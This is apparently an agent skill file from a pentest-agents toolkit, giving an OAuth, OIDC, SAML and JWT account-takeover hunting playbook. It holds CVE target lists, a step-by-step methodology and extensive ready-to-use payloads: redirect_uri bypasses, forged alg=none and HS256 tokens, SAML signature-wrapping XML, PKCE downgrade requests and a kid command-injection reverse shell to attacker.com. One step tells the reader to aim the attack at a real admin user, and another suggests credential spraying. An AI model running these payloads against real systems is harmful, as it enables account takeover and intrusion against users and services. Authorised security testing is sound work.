Imported from begineer-py/SKRpyASM (
pentest-agents/providers/openclaw/.agents/skills/pentest-agents-hunt-oauth/SKILL.md). Install upstream withnpx skills add begineer-py/SKRpyASM --skill pentest-agents-hunt-oauth. Copyright stays with the author.
Crown Jewel Targets
OAuth/OIDC/SAML/JWT is the universal entry point to every enterprise account. A single missing state check or loose redirect_uri regex turns into a one-click ATO and the program rates it Critical because the impact is multiplicative — once you ride someone's session, you have all their data, all their integrations, all their tokens. The 24-month meta has shifted decisively toward six asset types. All CVEs below verify against NVD.
1. MCP servers and agentic LLM OAuth (the new gold rush, 2025-2026 meta). Model Context Protocol servers exploded in adoption with broken OAuth implementations. CVE-2025-4143 (Cloudflare workers-oauth-provider missing redirect_uri validation, fixed v0.0.5) and CVE-2025-4144 (PKCE downgrade in same library) define the opening salvo. Obsidian Security's Square MCP one-click ATO (July-September 2025 disclosures, fixed late September 2025) showed anonymous-cookie injection chained with IdP consent caching. CVE-2025-6514 (mcp-remote OS command exec via crafted authorization_endpoint URL, 558,846 downloads affected, JFrog disclosure) and CVE-2025-49596 (Anthropic MCP Inspector unauth RCE, 38K weekly downloads). FastMCP OAuth Proxy missing resource validation (GHSA-5h2m-4q8j-pqpj) means tokens issued for one MCP server work against any MCP server sharing the same authorization server. Hunt MCP servers first — every developer is wiring up OAuth for the first time and getting it wrong.
2. SAML on enterprise SSO (parser-differential renaissance). CVE-2025-25291 + CVE-2025-25292 (ruby-saml signature wrapping via REXML/Nokogiri parser differential, ahacker1 + Peter Stöckli, GHSL-2024-329 + GHSL-2024-330, GitHub Security Lab) opened a critical hole in any Ruby app using SAML — including unauthenticated admin access to GitLab Enterprise as demonstrated by Gareth Heyes and Zakhar Fedotkin in PortSwigger's "SAML Roulette" research (March 2025). CVE-2025-46572 (passport-wsfed-saml2 SAML signature wrapping, Auth0/Okta), CVE-2025-47949 (samlify SAML signature wrapping, npm samlify < 2.10.0), CVE-2024-45409 (ruby-saml ahacker1 baseline). Pair this with Admidio SAML (GHSA-p9w9-87c8-m235 ACS URL injection, GHSA-25cw-98hg-g3cg signature validation result discarded — both 2026, high severity). Old SAML libraries on enterprise SSO are paying again.
3. JWT algorithm confusion (the regression class). CVE-2026-22817 (Hono JWT middleware RS256→HS256 confusion, CVSS 8.2, Cloudflare Workers/Deno/Bun ecosystem, fixed 4.11.4), CVE-2026-22818 (Hono JWK middleware untrusted header.alg fallback when JWK lacks alg, GHSA-3vhc-576x-3qv4), CVE-2024-54150 (cjwt C library RS/EC/PS algorithm confusion, fixed 2.3.0), CVE-2024-37568 (Authlib HMAC verification with asymmetric public key, milliesolem disclosure), CVE-2025-61152 (python-jose alg=none, disputed but real on verify_signature: False configurations). Every JWT library that doesn't pin algorithms is exploitable. Greppable in 30 seconds with jwt.verify(token, secret) patterns.
4. nOAuth and Entra ID identity confusion (Microsoft pays directly). CVE-2024-21632 (omniauth-microsoft_graph nOAuth, GHSA-5g66-628f-7cvj, fixed 2.0.0) is the canonical disclosed example of Descope's June 2023 nOAuth research — apps trusting the email claim from Entra ID get cross-tenant ATO. Semperis found 9% of Entra Gallery apps still vulnerable in June 2025; estimated 15,000+ SaaS apps still exposed. Descope earned $75K+ in coordinated bounties for the original nOAuth class. CVE-2025-55241 (Dirk-jan Mollema, Entra ID actor token cross-tenant Global Admin impersonation, CVSS 10.0, fixed July 17 2025) extended the class to Microsoft itself — any free Entra tenant could impersonate any user in any other tenant via the legacy Azure AD Graph API not validating the actort token's originating tenant. Hunt every "Sign in with Microsoft" button by registering a free Entra tenant and changing your email.
5. Authorization server implementations on managed identity platforms. CVE-2024-52289 (Authentik OAuth2 regex redirect_uri bypass via unescaped ., Lukas Omegapoint disclosure, fixed 2024.10.3 / 2024.8.5, GHSA-3q5w-6m3x-64gj), CVE-2024-23647 (Authentik PKCE downgrade by removing code_challenge, fixed 2023.10.7), CVE-2023-48228 (Authentik PKCE bypass by omitting code_verifier), CVE-2024-22258 (Spring Authorization Server PKCE downgrade for Confidential Clients, fixed 1.2.3 / 1.1.6 / 1.0.6), CVE-2026-32245 (tinyauth OIDC code not bound to client on token exchange, GHSA-xg2q-62g2-cvcm). These pay because deploying Keycloak/Authentik/Hydra/Auth0/Spring Auth Server is what every mid-size company does — find one bug, hit thousands of downstream apps.
6. GitOps controllers and Kubernetes OIDC. CVE-2025-55190 (Argo CD project API token retrieves repository credentials, CVSS 7.7, GHSA-786q-9hcg-v9ff, fixed 3.1.2/3.0.14/2.14.16/2.13.9), CVE-2026-23990 (Flux Operator Web UI impersonation bypass via empty OIDC claims, fixed 0.40.0, GHSA-4xh5-jcj2-ch8q), CVE-2026-40161 (Tekton git resolver leaks system Git API token to user-controlled serverURL, CVSS 8.4, GHSA-wjxp-xrpv-xpff). These pay the highest because compromising the GitOps controller gives you cluster-wide admin and supply-chain RCE in one chain.
7. The OAuth/SSO supply-chain — Salesloft Drift class. UNC6395 / ShinyHunters used stolen Drift OAuth tokens to exfiltrate 1.5 billion Salesforce records from 760 companies (August 2025). The pivot was: GitHub repo compromise → AWS access → Drift OAuth refresh tokens → Salesforce + Google Workspace. Cloudflare alone had 104 API tokens leaked through Salesforce support cases. Bug bounty correlate: hunt for third-party OAuth integrations with overscoped tokens and no rotation policy. Programs paying for SaaS connector misconfiguration include Atlassian, Notion, Slack, Asana, Monday — all tracked under their respective HackerOne programs.
What pays the most: pre-auth, no user interaction, single click → ATO. Reddit one-click ATO via Sign-in-with-Apple paid Frans Rosén $10,000 (Detectify 2022, HackerOne Reddit program, disclosed at https://infosecwriteups.com/this-is-how-he-could-hijack-reddit-accounts-with-just-one-click-a-10-000-bug-bounty-7fd8d54d5582, replicated pattern still pays mid-2026 on smaller programs). Anmol Singh Yadav's race-condition OAuth token mint paid $8,500 P1 in 2025 on a Fortune 500 cloud platform — disclosed via InfoSec Write-ups https://infosecwriteups.com/how-i-hijacked-oauth-tokens-through-a-parallel-auth-flow-race-condition-8500-p1-bug-bounty-7af1cccc4d4c. Open redirect → OAuth ATO chain consistently reaches $5K-$15K range when escalating from a "Low" standalone open redirect (DEV.to lucky_lonerusher 2026 disclosed $15K bug bounty program payout https://dev.to/lucky_lonerusher/open-redirect-to-account-takeover-the-exploit-chain-most-hunters-miss-in-2026-3j1g). Vercel's WAF-bypass H1 program pays separately for bypasses against React Server Components endpoints (CVE-2025-66478 / CVE-2025-55182). On GitHub Security Lab: ruby-saml ahacker1 + Peter Stöckli engagement was a paid private bug bounty engagement (amount undisclosed, but classed as "blockbuster" by GitHub). Standalone "missing state parameter on /oauth/callback" pays $200-$2K depending on chainability per disclosed HackerOne corpus pattern — never submit it alone.
Attack Surface Signals
Greppable / fingerprintable / scannable. Every signal below is tied to a specific product class and the resulting CVE candidate.
HTTP-level signals on a live target:
Set-Cookie: oauth2_state=,oauth_state=,__Host-state=→ custom OAuth client → state CSRF candidate, test removal/replayredirect_uri=https%3A%2F%2Fin any 302 Location response → redirect_uri validation candidate (test substring/path/userinfo bypasses)?state=,?code=,&code=,#access_token=,#id_token=in URL → OAuth callback page — audit for third-party JS leakage (dirty dancing)WWW-Authenticate: Bearer realm="MCP"orBearer realm="..."→ OAuth Resource Server / MCP server — fingerprint via RFC 9728 metadata at/.well-known/oauth-protected-resourceWWW-Authenticate: ... resource_metadata="..."→ MCP 2025-11-25 spec compliant server — discover OAuth flow; test PKCE downgrade and audience confusionServer: nginx-openid-connect,nginx-auth-request,oauth2-proxy/→ CVE-2025-54576 oauth2-proxyskip_auth_routesquery param bypass candidate; CVE-2024-10318 NGINX OIDC nonce session fixation on thenginx-openid-connectfamilyX-Forwarded-User,X-Auth-Request-User,X-Auth-Request-Email,X-Auth-Request-Groups→ reverse-proxy auth (oauth2-proxy / Pomerium / authelia / Authentik forward-auth) — try header injection bypass on backend- 500/400 errors with
goauthentik,Authentik,pyAuthin body → Authentik — CVE-2024-52289 / CVE-2024-23647 / CVE-2023-48228 candidate X-Powered-By: Express,Set-Cookie: connect.sidplus/oauth2/authorize→ Node OAuth provider — Hono / Passport.js JWT confusion candidate (CVE-2026-22817 / CVE-2025-46572)- 302 from
/login//ssoto/saml/sso/,/saml2/idp/SSOService,/idp/profile/SAML2/Redirect/SSO,/Shibboleth.sso/→ SAML SP — try ruby-saml CVE-2025-25291/25292 parser differential payload wsfed,WS-Federation,passport-wsfed-saml2in JS or HTML → CVE-2025-46572 candidatekidheader in JWT, especially numeric or path-like (../keys/admin) → kid SQLi / path traversal / command injection (Hacking JWT Tokens corpus references)jkuheader in JWT pointing to attacker-influenceable URL → jku claim misuse — if JWKS URL not pinned, redirect to attacker JWKSissclaim in JWT mismatching the actual issuer endpoint → CVE-2026-23552 cross-realm Keycloak token acceptance candidateaudmissing oraud=nullin JWT → CVE-2025-27370 / CVE-2025-27371 OpenID Federation audience injection candidate; also CVE-2024-32687 Argo CD aud bypass familyContent-Type: application/x-www-form-urlencodedon/oauth/token→ standard token endpoint; test code reuse, race condition (Anmol's $8500 finding pattern)application/jwk+json,application/jose+json,application/jwt→ JWE/JWS endpoints; test alg=none, alg=dirSec-Fetch-Dest: iframeallowed on/oauth/authorize(noX-Frame-Options: DENY, noContent-Security-Policy: frame-ancestors) → clickjacking on consent screen (Hacker One #3287060 WakaTime Double Clickjacking 2025) and PKCE bypass via attacker-iframe (trace37 2026)
JS / DOM signals (audit OAuth consent and callback pages for third-party scripts — Frans Rosén dirty-dancing):
<script src="https://www.googletagmanager.com/gtm.js",analytics.js,gtag.json any page reachable in the OAuth flow → GTM/Analytics URL leak —location.hrefcontainingcode=oraccess_token=is sent to third party; combine with response_type switchingwindow.opener.postMessage(,window.parent.postMessage(without explicit origin (*or no second arg) → postMessage origin check missing — exfil OAuth artifact via cross-origin window<iframe src="https://chat.example.com/...">chat widget on OAuth pages → chat-widget postMessage gadget (Detectify case study)<script src="https://*.fullstory.com/,*.hotjar.com/,*.intercom.io/,*.drift.com/,*.salesloft.com/on OAuth callback → session-replay tool URL exfil + supply-chain risk (Salesloft Drift August 2025)react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopackinpackage.jsonor bundles + OAuth callback → CVE-2025-66478 / CVE-2025-55182 React2Shell on the OAuth callback handler (RCE on backend)localStorage.getItem("access_token"),localStorage.setItem("oauth_token",sessionStorage["jwt"]in JS → token in webstorage — XSS becomes ATO
Source-code signals (ripgrep one-liners — see Source Review for the full set):
# Missing state validation
rg -n 'oauth.*callback|/auth/callback|/oauth/callback' --type js --type py --type rb --type go --type java | rg -v 'state'
# alg accepted from token header (algorithm confusion)
rg -n 'jwt\.(decode|verify)\([^,)]+\)' --type js --type py --type ts -g '!*test*'
rg -n 'jwt\.decode\([^,]+,\s*verify=False' --type py
# OAuth client_secret exposed in frontend
rg -n 'REACT_APP_.*SECRET|VITE_.*SECRET|NEXT_PUBLIC_.*SECRET|client_secret\s*[:=]\s*["\x27]' \
-g 'package.json' -g '*.env*' -g 'src/**/*.{js,jsx,ts,tsx}'
# email used as user identifier (nOAuth pattern)
rg -n 'user.*\.email|claims\.email|userInfo\.email|profile\.email|id_token\.email' \
--type js --type py --type rb --type go -g '!*test*' | rg 'find|create|update|merge|upsert|getOrCreate'
# OAuth callback writing token to URL fragment
rg -n 'response_type=[^"]*token|response_mode=fragment|window\.location\.hash.*token' \
--type js --type ts
# redirect_uri validation by substring/regex (instead of exact match)
rg -n 'redirect_uri.*\.(startsWith|contains|matches|test|search|indexOf)' --type js --type ts --type py
rg -n 'redirect_uri\s*[=~][^=]*regex|RegExp.*redirect' --type js --type rb --type py
Insertion Point Taxonomy
Every place attacker-controlled data flows into OAuth/OIDC/SAML/JWT processing — your hunting checklist:
- URL query —
client_id,redirect_uri,response_type,response_mode,scope,state,nonce,code_challenge,code_challenge_method,prompt,display,id_token_hint,login_hint,acr_values,resource(RFC 8707),audience. Example: append&response_type=token id_tokento a code-flow auth URL → Detectify dirty-dancing fragment leak. - URL fragment —
#access_token=,#id_token=,#code=from implicit flow orresponse_mode=fragment. JS on the callback page readslocation.hash; if any third-party script also reads it → leak. - Headers —
Authorization: Bearer,Authorization: DPoP,X-Forwarded-User,X-Auth-Request-Email, custom OIDC headers from reverse proxy. Try header injection at the backend after a reverse-proxy strips them. AlsoOrigin:for CORS bypass on OAuth endpoints (Grab partner-api H1 #3631550 — null Origin reflected with credentials). - Body (form-urlencoded) —
/oauth/tokenbody parameters:grant_type,code,code_verifier,client_id,client_secret,refresh_token,redirect_uri,subject_token,subject_token_type,actor_token(RFC 8693 token exchange). PKCE downgrade → dropcode_verifier. Race condition → Turbo Intruder 2 parallel exchanges with samecode. - Body (JSON) — Dynamic Client Registration body:
client_name,redirect_uris,grant_types,token_endpoint_auth_method,jwks,jwks_uri,software_statement. SSRF viajwks_uripointing to internal IPs; supply-chain viaredirect_uris: ["http://attacker"]. - Body (XML / SAML) —
<samlp:AuthnRequest>with attacker-controlledAssertionConsumerServiceURL(Admidio GHSA-p9w9-87c8-m235);<saml:Assertion>with signature wrapping (CVE-2025-25291). RelayState parameter (Lukas Omegapoint #2263044 user_saml). - Cookies —
oauth2_proxy_csrf,__oauth_session,__Host-flow_state,XSRF-TOKENfor OAuth client. Anonymous-cookie injection via subdomain takeover (Obsidian Square MCP attack chain). Session fixation via cookie set before login. - JWT claims (mutable + verifiable both matter) —
sub,email(nOAuth — never trust),email_verified,preferred_username,upn,iss,aud,azp,nonce,at_hash,c_hash,acr,amr,exp,nbf,actort(CVE-2025-55241 Entra ID),kid,jku,x5u,x5c. Always testaudremoval andissswap. - JWKS / metadata documents —
jwks_uripoints tohttps://attacker.example/.well-known/jwks.json; CIMDclient_idas URL pointing to attacker-controlled JSON document (oauth-wg/draft-ietf-oauth-client-id-metadata-document #30 — server fetches arbitrary URL). - WebSocket / SSE auth — JWT in subprotocol, query string, or first JSON message after upgrade. Often skipped by middleware that only checks initial HTTP handshake.
- Mobile custom URL schemes —
com.example.app://oauth/callbackregistered as Android<intent-filter>or iOS URL Type. Malicious app on same device registers same scheme → interceptscode(Doyensec OAuth Common Vulnerabilities, January 2025). Universal Links / App Links not always mandatory, especially on legacy code. - Background / async paths — refresh token endpoint, token introspection (
/introspect), token revocation (/revoke), userinfo (/userinfo), end_session_endpoint (RP-initiated logout).post_logout_redirect_uriis the open-redirect cousin everyone forgets — test it. - Indirect / agentic — MCP tool descriptions injected with prompt-injection payloads (Invariant Labs GitHub MCP, May 2025); Salesforce/HubSpot/Zendesk support-case bodies that an OAuth-connected automation reads (Salesloft Drift August 2025); LangChain RAG context that the agent treats as tool instructions.
Step-by-Step Hunting Methodology
-
Map the OAuth flow with Burp. Log into the application, watch every request to
/oauth/,/auth/,/saml/,/sso/,/.well-known/,/connect/,/oidc/. Recordclient_id,redirect_uri,response_type,response_mode,state,nonce,code_challenge,code_challenge_method. Ifstateis missing → test CSRF immediately. Ifcode_challengeis missing on a public client → flag PKCE absence (CVE-2024-23647 family). If you see SAML, capture both<AuthnRequest>and<Response>bodies — these go to the SAML wrapping tests later. -
Fingerprint the authorization server. Hit
/.well-known/openid-configuration,/.well-known/oauth-authorization-server,/.well-known/oauth-protected-resource,/oauth/authorize,/oauth/.well-known/jwks.json,/saml/metadata,/.well-known/saml-configuration. Thesoftwarefield,issuer, supported grant types (look forpasswordROPC,client_credentials,urn:ietf:params:oauth:grant-type:token-exchange),token_endpoint_auth_methods_supported,code_challenge_methods_supported— all of these reveal the AS implementation. Authentik metadata leaksgoauthentikstrings; Keycloak leaksrealm-shaped paths; Auth0 leaks*.auth0.com; Cognito has thecognito-idp.<region>.amazonaws.comissuer. If you seepasswordingrant_types_supportedand the AS is internet-exposed → ROPC credential spray (Grab H1 #3635703 concedoidc). -
Test redirect_uri validation — the 12 bypass families. Send the original auth request to Burp Repeater. Mutate
redirect_urithrough this sequence: (a) substringhttps://target.com.attacker.com; (b) userinfohttps://attacker.com@target.com; (c) IDNhttps://tаrget.com(Cyrillic а); (d) path traversalhttps://target.com/callback/../../../@attacker.com; (e) URL encodinghttps%3A%2F%2Fattacker.com; (f) double encodinghttps%253A%252F%252Fattacker.com; (g) fragmenthttps://target.com/callback#@attacker.com; (h) localhosthttp://127.0.0.1:80@attacker.com; (i) IPv6http://[::1]@[::1]@attacker.com(Google bypass per @weirdmachine 2025); (j) regex unescaped dothttps://app0example.com/oauth2/callback(CVE-2024-52289 Authentik); (k) wildcard subdomain takeover; (l) any open redirect on the same domain with?next=https://attacker.com. If any returns 302 to your destination withcode=oraccess_token=→ critical, but verify thecodeis bound to a real victim before reporting (deliver via iframe to admin user, never to yourself). -
Break the state parameter intentionally (Frans Rosén dirty dancing). With a Burp-modified flow, switch
response_type=codetoresponse_type=code,id_tokenorresponse_type=token. Switchresponse_mode=querytoresponse_mode=fragmentorresponse_mode=form_post. Send your tainted state to a victim — if the victim's browser completes the flow but the website rejects state, thecodelands at the OAuth provider but is never consumed. The window betweencodeissuance and expiry is yours to use. Then audit every page reachable in the OAuth dance for third-party JS (GTM, analytics, chat widgets, session replay). Any postMessage listener with no origin check, anylocation.hrefread by a third-party, anytarget=_blanklink with norel=noopener— these become the leak gadget. -
PKCE downgrade testing — three variants. Variant 1: drop
code_verifierfrom/oauth/tokenbody — CVE-2023-48228 Authentik. Variant 2: dropcode_challengefrom the initial authorization request — CVE-2024-23647 Authentik, Spring Authorization Server CVE-2024-22258 for confidential clients only. Variant 3 (Cloudflare workers-oauth-provider CVE-2025-4144 family): omit PKCE from authorization but includecode_verifierin token exchange — fail-open libraries accept it. Variant 4 (trace37 2026): you control the authorization URL via iframe/popup, so you choose thecode_challengeand you know thecode_verifier— PKCE only protects against in-transit interception, not against initiation control. If iframe-able + auto-login → the PKCE protection collapses; chain with postMessage capture for one-click ATO. -
JWT algorithm confusion — three variants. Variant 1: change
algtonone, strip signature, send. Variant 2: changealgfromRS256toHS256, sign payload with the public key as HMAC secret usingjwt_tool -X k -pk public.pem -p public.pem. Variant 3: changealgtononewith case variationnOnE,NoNE,NULL,None(CVE-2026-22817 Hono family). Variant 4 (Hono CVE-2026-22818): if JWKS endpoint returns keys withoutalgfield → middleware falls back to headeralg→ algorithm confusion. Test withkidinjection:kid: ../../../../dev/null(forces empty key → HMAC with empty string),kid: ../../../etc/passwd,kid: 1' UNION SELECT 'attacker_key. Testjkuredirect: changejkuto attacker JWKS URL with samekid. Ifaudis empty or missing → cross-service relay (CVE-2025-27370 / CVE-2025-27371 OpenID Federation class); replay tokens from one service against another in the same federation. -
SAML signature wrapping and parser differentials. Capture a valid
<SAMLResponse>from your own login. Use SAML Raider Burp extension. Variant 1 (XSW10): wrap original<Assertion>in attacker-controlled assertion; copy original<Signature>referencing original; many SPs canonicalize first child only. Variant 2 (CVE-2025-25291 ruby-saml DOCTYPE): inject DOCTYPE<!DOCTYPE x [<!ATTLIST y z 'value'>]>that REXML and Nokogiri parse differently — REXML validates signature on one node, Nokogiri reads attributes from another. Variant 3 (CVE-2025-25292 ruby-saml namespace): redefinexmlns:dsto point at a fake<ds:Signature>Nokogiri reads while REXML reads original. Variant 4 (CVE-2026-22-class missing destination check): use any valid signed assertion from any tenant of the IdP, modify NameID to victim, send (Admidio GHSA-25cw-98hg-g3cg discardsvalidateSignature()return value entirely). Variant 5 (CVE-2025-46572 passport-wsfed-saml2): obtain any single signed SAML assertion from same IdP, replace user identity. If the SP's library isruby-saml,samlify,passport-wsfed-saml2,python3-saml,php-saml,simplesamlphp,omniauth-saml→ version check first; out-of-date is a confirmed crit. -
nOAuth and identity-confusion testing on Microsoft "Sign in with Microsoft". Create a free Entra ID tenant (free.azure.microsoft.com). Add yourself as a user, set
mailattribute to victim's email address (no domain verification required for the tenant, only for emitting the email claim — but CVE-2024-21632 omniauth-microsoft_graph style apps don't checkxms_edov). Now log in to the target with "Sign in with Microsoft" using your Entra account. If the application usesemailclaim (notsuboroid) for account lookup → ATO. Variant: app usespreferred_usernameorupn→ still ATO if mutable. If app already has a victim's account, account-merge logic completes the takeover (Descope nOAuth original disclosure, Semperis 9% of Entra Gallery apps still vulnerable June 2025). -
Race-condition testing on token endpoints (Anmol $8500 P1 pattern, disclosed via HackerOne https://infosecwriteups.com/how-i-hijacked-oauth-tokens-through-a-parallel-auth-flow-race-condition-8500-p1-bug-bounty-7af1cccc4d4c). Identify
/oauth/token,/sso/token,/auth/exchange, GraphQLexchangeTokenmutations. Get a validauthorization_code(don't consume it yet). Use Turbo Intruder with single-packet attack (HTTP/2): submit 50 parallel token-exchange requests with the samecodeand 50 differentcode_verifiervalues. RFC 6749 §4.1.2 says codes are single-use; many implementations check-then-use without locking. If 2+ requests return validaccess_token→ race-condition token mint, P1 by H1 standards if the second token is for a different session. -
Audit OAuth endpoints for OWASP API issues — even on stock implementations, the surrounding endpoints often have separate bugs. Test
/oauth/clients(admin-only?),/oauth/applications/<id>(IDOR — H1 disclosed multiple),/account/integrations/<provider>(CSRF on OAuth linking — Bugcrowd #503922 family),/connections/<id>/disconnect(CSRF on OAuth unlinking → DOS account by unlinking SSO — H1 #976603), token introspection/introspectwithout client auth (Grab H1 #3635703 RFC 7662 violation). Test scope upgrade in token exchange (request narrower scope at auth, request wider scope at token exchange — should fail per RFC, often doesn't). -
MCP-specific OAuth methodology (the 2025-2026 meta). For any MCP server (URL ends in
/mcp,/.well-known/oauth-protected-resource,WWW-Authenticate: Bearer realm="MCP"): (a) checkredirect_urivalidation on/authorize(CVE-2025-4143); (b) test PKCE downgrade (CVE-2025-4144); (c) check that the issued token's audience binds to this MCP server, not a shared base URL (FastMCP GHSA-5h2m-4q8j-pqpj); (d) audit/registerDynamic Client Registration for SSRF viajwks_uriand for arbitraryredirect_uris(n8n GHSA-f6x8-65q6-j9m9); (e) test session-cookie injection via subdomain (Obsidian Square MCP); (f) check whether the MCP server validates theresourceparameter per RFC 8707; (g) check whether OAuth metadata at/.well-known/oauth-protected-resourceis HTTPS-pinned and the path-suffixed URL matches. The MCP 2025-11-25 spec mandates OAuth 2.1; most servers ship something looser. -
Final pre-submission validation (Gate 0). Demonstrate the bug end-to-end against a victim account you control (your second account, alt admin user, or H1's invited test admin). Capture Burp request/response for the auth request, the leaked
code/token, and the privileged action that proves session ride. Record asciinema or 30-60s mp4. Verify scope: target asset is in-scope today, not yesterday. Re-run the exploit one hour before submission to confirm it still works (programs frequently silent-patch OAuth bugs). Write the impact statement: "X user data accessible / Y financial transactions executable / Z admin capability." If you can't write that sentence with concrete data, you have a finding, not a report.
Payload & Detection Patterns
Sub-technique A — redirect_uri bypass primitives
# A.1 Substring/lookalike host bypass (Grab H1 #3636415 mallUrl pattern)
?redirect_uri=https://target.com.attacker.com/oauth/callback
?redirect_uri=https://attacker.com/?target.com=1
?redirect_uri=https://target-com.attacker.com
?redirect_uri=https://target.com.evilsubdomain.com
?redirect_uri=https://targetcom.attacker.com
# A.2 Userinfo bypass (RFC 3986 §3.2.1 — host parser confusion)
?redirect_uri=https://target.com@attacker.com/oauth/callback
?redirect_uri=https://target.com:80@attacker.com
?redirect_uri=https://attacker.com#@target.com
?redirect_uri=https://attacker.com?@target.com
# A.3 IPv6 + userinfo — Google bypass (@weirdmachine HackerNoon 2025)
?redirect_uri=http://[::1]@[::1]@attacker.com/
?redirect_uri=http://[::ffff:127.0.0.1]@attacker.com/
?redirect_uri=https://[2606:4700::1]@attacker.com/
# A.4 Path traversal (Pixiv H1 #1861974 $2000)
?redirect_uri=https%3A%2F%2Fbooth.pm%2Fusers%2Fauth%2Fpixiv%2Fcallback/../../../../ja/items/[attacker_product_id]
?redirect_uri=https://target.com/callback/..%2F..%2Fanything?evil=1
?redirect_uri=https://target.com/callback/%2e%2e/%2e%2e/
# A.5 IDN homograph (HackTricks OAuth wiki)
?redirect_uri=https://tаrget.com/oauth-callback # 'a' is U+0430 Cyrillic
?redirect_uri=https://target.cоm/ # 'o' is U+043E Cyrillic
?redirect_uri=https://xn--trget-zoa.com/ # punycode-only validation
# A.6 Regex bypass — unescaped dot (CVE-2024-52289 Authentik, Lukas Omegapoint)
?redirect_uri=https://app0example.com/oauth2/callback # if regex was https://app.example.com
?redirect_uri=https://app-example.com/oauth2/callback
?redirect_uri=https://appXexample.com/oauth2/callback
# A.7 Wildcard subdomain takeover — find dangling DNS in *.target.com first
?redirect_uri=https://abandoned-subdomain.target.com/oauth-callback
# A.8 Open-redirect chain on whitelisted host (DEV.to lucky_lonerusher 2026, $15K paid)
?redirect_uri=https://target.com/logout?next=https://attacker.com/grab
?redirect_uri=https://target.com/redirect?url=https://attacker.com
?redirect_uri=https://target.com/api/v1/redirect?to=https://attacker.com
Sub-technique B — state / CSRF / response-type manipulation (dirty dancing)
# B.1 Response-type switching — fragment leakage of code
&response_type=code&response_mode=query # baseline (good)
&response_type=token&response_mode=fragment # implicit, leaks #access_token
&response_type=code,id_token&response_mode=fragment # hybrid → code lands in fragment
&response_type=code id_token token&response_mode=fragment # OIDC hybrid all-in-fragment
&response_type=token&response_mode=form_post # form_post can be replayed if attacker controls callback page
# B.2 State parameter attacks (RFC 6749 §10.12)
# B.2.a Drop state entirely — CSRF
&state= # empty
# omitted entirely
# B.2.b Fixate state — Anmol's H1 corpus pattern, also bugbounty.ch May 2023 case
&state=attacker_known_value
# B.3 Force browser swap (SySS Jonas Primbs Browser Swapping IETF 124, 2025-11)
# Attacker initiates flow in Browser A, sends auth URL to victim, victim completes in Browser B
# AS sends code to client; client rejects state mismatch but doesn't invalidate code → attacker uses code
# B.4 nonce removal — OIDC ID Token replay (CVE-2024-10318 NGINX OIDC)
&nonce= # empty
# omitted on subsequent replay
# B.5 prompt=none silent re-authentication (use after one consent for unlimited code minting)
&prompt=none&max_age=0
Sub-technique C — JWT attack primitives
# C.1 alg=none variants (CVE-2025-61152 python-jose, CVE-2026-22817 Hono case-bypass)
{"alg":"none","typ":"JWT"}.{"sub":"victim","role":"admin"}.
{"alg":"None","typ":"JWT"}...
{"alg":"nOnE","typ":"JWT"}...
{"alg":"NULL","typ":"JWT"}...
# C.2 RS256 → HS256 algorithm confusion (CVE-2024-54150 cjwt, CVE-2024-37568 authlib)
# Step: extract public key from JWKS endpoint /.well-known/jwks.json
# Step: jwt_tool -X k -pk public.pem -p attacker_payload.txt → forge HS256 token signed with PEM as secret
# C.3 kid injection (Hacking JWT Tokens corpus refs in /tmp corpus)
{"alg":"HS256","kid":"../../../dev/null","typ":"JWT"} # forces empty key → sign with empty string
{"alg":"HS256","kid":"key' UNION SELECT 'attacker_key' --","typ":"JWT"} # SQLi in kid lookup
{"alg":"HS256","kid":"|nc attacker.com 4444 -e /bin/sh","typ":"JWT"} # command injection
# C.4 jku redirection (Hacking JWT Tokens: jku Claim Misuse — corpus titles)
{"alg":"RS256","jku":"https://attacker.com/jwks.json","kid":"attacker"}
{"alg":"RS256","jku":"https://target.com#@attacker.com/jwks.json","kid":"attacker"} # userinfo bypass on jku
# C.5 Audience confusion / cross-service relay (CVE-2025-27370/27371 OpenID Federation)
{"aud":"","iss":"https://target/idp"} # empty audience → many libs accept all
{"aud":["target","alt-service"],"iss":"https://target/idp"} # token replays across services
# C.6 Embedded JWK (Hacking JWT Tokens: JWS Standard for JWT)
{"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_n>","e":"AQAB"}} # libs that trust embedded JWK = forge anything
# C.7 Entra ID actor token (CVE-2025-55241 Dirk-jan Mollema)
# Outer token: legitimate-looking request to victim tenant SharePoint with victim_oid
# Inner token in actort claim: attacker's own free-tenant token
# Result: cross-tenant Global Admin impersonation
# C.8 njwt buffer poisoning (corpus: `njwt` allocates uninitialized Buffers when number is passed in base64urlEncode)
require('njwt').create({sub:'victim'}, 0).compact() # number arg → uninitialized buffer leak
Sub-technique D — SAML signature wrapping primitives (XSW1 through XSW8 + ruby-saml class)
<!-- D.1 XSW1 — wrap original assertion, copy original signature -->
<samlp:Response>
<saml:Assertion ID="evil"><Subject><NameID>attacker</NameID></Subject>
<ds:Signature>...original ref to legit ID...</ds:Signature>
<saml:Assertion ID="legit"><Subject><NameID>victim</NameID></Subject></saml:Assertion>
</saml:Assertion>
</samlp:Response>
<!-- D.2 ruby-saml DOCTYPE parser differential (CVE-2025-25291, ahacker1 GHSL-2024-329) -->
<!DOCTYPE samlp:Response [
<!ATTLIST saml:Assertion ID ID #IMPLIED>
<!ENTITY x "data">
]>
<!-- REXML truncates ATTLIST and validates signature on assertion ID="real"; Nokogiri reads attacker-injected ID="evil" -->
<!-- D.3 ruby-saml namespace confusion (CVE-2025-25292, @p- GHSL-2024-330, PortSwigger SAML Roulette) -->
<samlp:Response xmlns:ds="evil-ns">
<ds:Signature>...</ds:Signature> <!-- Nokogiri reads under evil-ns -->
<ds:Signature>...</ds:Signature> <!-- REXML reads default-ns (signs original) -->
</samlp:Response>
<!-- D.4 ACS URL injection (Admidio GHSA-p9w9-87c8-m235) -->
<samlp:AuthnRequest AssertionConsumerServiceURL="https://attacker.com/acs" Destination="https://idp.target/sso">
<!-- D.5 OneUptime multi-assertion (GHSA-5w5c-766x-265g) -->
<saml:Assertion><Subject><NameID>attacker</NameID></Subject></saml:Assertion> <!-- assertion[0] read by getEmail -->
<saml:Assertion ID="signed"><Signature>...</Signature><Subject><NameID>legit</NameID></Subject></saml:Assertion>
<!-- D.6 Comment injection in NameID (XSW classic — Cisco Duo et al historical) -->
<saml:NameID>attacker@target.com<!---->.victim@target.com</saml:NameID> <!-- some parsers truncate at comment -->
Sub-technique E — PKCE bypass primitives
# E.1 Drop code_verifier from token request (CVE-2023-48228 Authentik)
POST /oauth/token
grant_type=authorization_code&code=<code>&client_id=<id>
# (no code_verifier)
# E.2 Drop code_challenge from authorization request (CVE-2024-23647 Authentik, Spring CVE-2024-22258)
GET /oauth/authorize?response_type=code&client_id=<id>&redirect_uri=<uri>
